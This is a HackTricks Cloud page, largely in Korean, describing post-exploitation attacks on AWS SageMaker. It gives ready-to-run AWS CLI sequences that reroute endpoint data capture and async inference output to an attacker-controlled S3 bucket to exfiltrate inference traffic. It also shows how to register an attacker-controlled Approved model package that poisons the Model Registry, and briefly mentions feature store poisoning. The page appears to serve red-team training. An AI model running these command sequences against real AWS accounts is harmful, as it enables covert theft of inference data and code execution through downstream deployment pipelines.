AWS - SageMaker Post-Exploitation
Reading time: 7 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
SageMaker endpoint 관리를 악용하여 model이나 container를 건들지 않고 전체 요청/응답을 공격자 제어의 S3 버킷으로 캡처하도록 활성화합니다. 무/저 가동중단 롤링 업데이트를 사용하며 endpoint 관리 권한만 필요합니다.
Requirements
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(or use an existing bucket in the same account) - Optional (if using SSE‑KMS):
kms:Encrypton the chosen CMK - Target: An existing InService real‑time endpoint in the same account/region
Steps
- Identify an InService endpoint and gather current production variants
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
- 공격자 S3 목적지(캡처용) 준비
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- 동일한 variants를 유지하되 DataCapture를 attacker bucket으로 활성화하는 새로운 EndpointConfig를 생성하세요
참고: CLI 검증을 만족하는 명시적인 content types를 사용하세요.
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- rolling update로 새 config 적용 (최소/다운타임 없음)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- 최소 한 번의 추론 호출을 생성합니다 (실시간 트래픽이 있는 경우 선택 사항)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- attacker S3에서 captures를 검증
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
영향
- 타깃 endpoint에서 공격자 제어 S3 버킷으로 실시간 inference 요청 및 응답 페이로드(및 메타데이터)의 완전 exfiltration.
- model/container image에는 변경이 없고 오직 endpoint‑level 변경만으로 최소한의 운영 중단으로 stealthy data theft 경로를 가능하게 함.
SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
현재 EndpointConfig를 복제하고 AsyncInferenceConfig.OutputConfig의 S3OutputPath/S3FailurePath를 설정하여 endpoint 관리를 악용해 비동기 inference 출력을 공격자 제어 S3 버킷으로 리다이렉트합니다. 이렇게 하면 model predictions(및 container에 포함된 변환된 inputs)을 model/container를 수정하지 않고도 exfiltrates 할 수 있습니다.
요구사항
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: model execution role 또는 permissive bucket policy를 통해 공격자 S3 버킷에 쓰기 권한
- Target: 비동기 invocations가 사용 중이거나(또는 사용될) InService endpoint
단계
- 타깃 endpoint에서 현재 ProductionVariants 수집
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- attacker bucket을 생성하세요 (model execution role이 PutObject할 수 있는지 확인하세요)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- EndpointConfig를 복제하고 AsyncInference 출력을 공격자 버킷으로 가로채기
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- 비동기 호출을 트리거하고 객체가 공격자 S3에 도착하는지 확인
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
영향
- 비동기 추론 결과(및 오류 본문)를 공격자 제어 S3로 리디렉션하여 컨테이너가 생성한 예측 및 잠재적으로 민감한 전/후처리 입력을 모델 code나 image를 변경하지 않고 최소/무중단으로 은밀하게 유출할 수 있습니다.
SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
요구사항
- IAM (minimum to poison an existing group):
sagemaker:CreateModelPackageon the target ModelPackageGroup - 선택 사항 (그룹이 없을 경우 그룹을 생성하려면):
sagemaker:CreateModelPackageGroup - S3: 참조된 ModelDataUrl에 대한 읽기 권한(또는 공격자 제어 아티팩트 호스팅)
- 대상: 하위 자동화가 Approved 버전을 감시하는 Model Package Group
단계
- 리전을 설정하고 대상 Model Package Group 생성/검색
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- S3에 더미 모델 데이터를 준비합니다
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- 공개 AWS DLC image를 참조하는 악성(여기서는 무해한) Approved model package version 등록
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- 새로운 승인된 버전이 존재하는지 확인
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
영향
- Model Registry를 Poison하여 attacker-controlled code를 참조하는 Approved 버전을 등록한다. Approved 모델을 자동 배포하는 Pipelines는 attacker image를 pull하고 실행할 수 있으며, endpoint/training roles 권한으로 코드 실행을 획득할 수 있다.
- 권한이 관대한 ModelPackageGroup 리소스 정책(PutModelPackageGroupPolicy)이 있는 경우, 이 악용은 cross-account로도 트리거될 수 있다.
Feature store poisoning
OnlineStore가 활성화된 Feature Group에서 sagemaker:PutRecord를 악용해 online inference에서 소비되는 라이브 feature 값을 덮어쓸 수 있다. sagemaker:GetRecord와 결합하면 attacker는 민감한 feature를 읽을 수 있다. 이는 models나 endpoints에 대한 접근을 필요로 하지 않는다.
{{#ref}} feature-store-poisoning.md {{/ref}}
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud